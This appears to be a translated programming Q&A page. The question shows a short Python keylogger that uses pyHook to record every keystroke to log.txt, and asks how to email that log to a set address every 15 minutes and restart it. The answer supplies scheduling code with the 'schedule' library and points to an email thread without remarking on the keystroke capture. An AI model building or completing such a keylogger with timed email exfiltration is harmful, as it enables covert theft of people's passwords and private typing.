Sending emails at scheduled times

Asked

Viewed 329 times

3

I wonder how do I get my log.txt file sent to a desired email at a set time (Ex: 15 min)? And after it is sent, the process restarts and creates a new log.txt.

import pythoncom, pyHook,

def registrar(evento):
    arquivo = open('log.txt', 'a')
    teclas = chr(evento.Ascii)
    arquivo.write(teclas)

hook = pyHook.HookManager()
hook.KeyDown = registrar
hook.HookKeyboard()

pythoncom.PumpMessages()
  • Welcome to Sopt, here we only Speak English. Maybe is Better you Ask in Soen.

  • Meet CRON?

1 answer

3

Schedule:

"Schedule allows you to perform Python functions (or any other callable) periodically at predetermined intervals, using a user-friendly syntax".

Example of Repo in git:

$ pip install schedule

import schedule
import time

def job():
    print("I'm working...")

schedule.every(10).minutes.do(job)
schedule.every().hour.do(job)
schedule.every().day.at("10:30").do(job)
schedule.every().monday.do(job)
schedule.every().wednesday.at("13:15").do(job)

while True:
    schedule.run_pending()
    time.sleep(1)

Emailing:

For sending emails in python see this topic.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.